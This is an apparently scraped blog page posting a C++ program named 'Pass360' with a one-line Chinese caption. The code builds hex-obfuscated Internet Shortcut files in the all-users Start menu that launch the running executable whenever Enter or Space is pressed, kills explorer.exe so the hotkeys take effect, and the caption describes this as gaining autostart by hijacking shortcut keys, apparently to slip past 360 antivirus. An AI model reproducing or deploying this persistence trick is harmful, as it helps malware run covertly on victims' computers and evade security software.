zoukankan      html  css  js  c++  java
  • Pass360[最新].cpp

    View Code
     1 #include <windows.h>
     2 #include <shobjidl.h>
     3 #include <shlguid.h>
     4 #include <shlobj.h>
     5 #include <tlhelp32.h> 
     6 
     7 #pragma comment(linker, "/opt:nowin98")
     8 #pragma comment(linker, "/opt:ref")
     9 #pragma comment (linker, "/OPT:ICF")
    10 
    11 int KillMyProcess(char *exeName)  
    12 { 
    13     int rc = 0; 
    14     HANDLE hSysSnapshot = NULL; 
    15     PROCESSENTRY32 proc; 
    16     hSysSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ); 
    17     if ( hSysSnapshot == (HANDLE)-1 ) return 1; 
    18     
    19     proc.dwSize = sizeof(proc); 
    20     if ( Process32First ( hSysSnapshot, &proc ) ) { 
    21         do { 
    22             if (stricmp(proc.szExeFile, exeName)==0) { 
    23                 HANDLE Proc_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, proc.th32ProcessID); 
    24                 if (Proc_handle==NULL || !TerminateProcess(Proc_handle, 0)) rc = 1; 
    25                 else rc = 0; 
    26             } 
    27         } while ( Process32Next ( hSysSnapshot, &proc ) ); 
    28     } 
    29     CloseHandle ( hSysSnapshot ); 
    30     return rc; 
    31 } 
    32 
    33 
    34 
    35 void CreateUrlLink(LPSTR lpExePath,LPWSTR lpUrlPath,int iHotKey)
    36 {
    37     LPSTR  s=new char[1024];
    38     ZeroMemory(s,1024);
    39     //s1=[InternetShortcut]URL=file:///
    40     //s2=HotKey
    41     char   s1[]={0x5B, 0x49, 0x6E, 0x74, 0x65, 0x72, 0x6E, 0x65, 0x74, 0x53, 0x68, 0x6F, 0x72, 0x74, 0x63, 0x75, 0x74, 0x5D, 0x0D, 0x0A, 0x55, 0x52, 0x4C, 0x3D, 0x66, 0x69, 0x6C, 0x65, 0x3A, 0x2F, 0x2F, 0x2F, 0x00};
    42     char   s2[]={0x0D, 0x0A, 0x48, 0x6F, 0x74, 0x4B, 0x65, 0x79, 0x3D, 0x00};
    43     wsprintf(s,"%s%s%s%i",s1,lpExePath,s2,iHotKey);
    44     DWORD  d;
    45     HANDLE hFile=CreateFileW(lpUrlPath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,NULL,NULL);
    46     WriteFile(hFile,s,lstrlen(s),&d,NULL);
    47     CloseHandle(hFile);
    48 }
    49 
    50 int APIENTRY WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in int nShowCmd )
    51 {
    52     char   szExePath[256];
    53     LPWSTR lpLnkPath=L"C:\\Documents and Settings\\All Users\\「开始」菜单\\Xnz.url";
    54     LPWSTR lpLnkPath1=L"C:\\Documents and Settings\\All Users\\「开始」菜单\\Xnv.url";
    55     //热键 32=space 13=回车
    56     int    iHotKey=13;
    57     int    iHotKey1=32;
    58     GetModuleFileName(NULL,szExePath,sizeof(szExePath));
    59 
    60     //Delete 热键并重启explorer 更新系统热键
    61     CreateUrlLink(szExePath,lpLnkPath,0);
    62     CreateUrlLink(szExePath,lpLnkPath1,0);
    63     //system("tskill explorer");
    64     KillMyProcess("EXPLORER.EXE");
    65     //延时恢复热键 假如在explorer重启完毕之前继续写入文件就没有效果了
    66     Sleep(3000);  
    67     CreateUrlLink(szExePath,lpLnkPath,iHotKey);
    68     CreateUrlLink(szExePath,lpLnkPath1,iHotKey1);
    69     MessageBox(NULL,"运行成功","",NULL);
    70     return 0;
    71 }

    通过创建快捷方式 截获快捷键 获取自启动 

  • 相关阅读:
    Linux的安装(虚拟机环境)与基础配置
    爬虫之proxy(代理)
    爬虫之UserAgent
    爬虫之urllib.error模块
    【React自制全家桶】五、React组件的生命周期函数详解
    【React自制全家桶】四、React中state与props的分析与比较
    【React自制全家桶】三、React使用ref操作DOM与setState遇到的问题
    【React自制全家桶】二、分析React的虚拟DOM和Diff算法
    小程序API:wx.showActionSheet 将 itemList动态赋值
    解决json_encode中文乱码问题
  • 原文地址:https://www.cnblogs.com/FCoding/p/2575418.html
Copyright © 2011-2022 走看看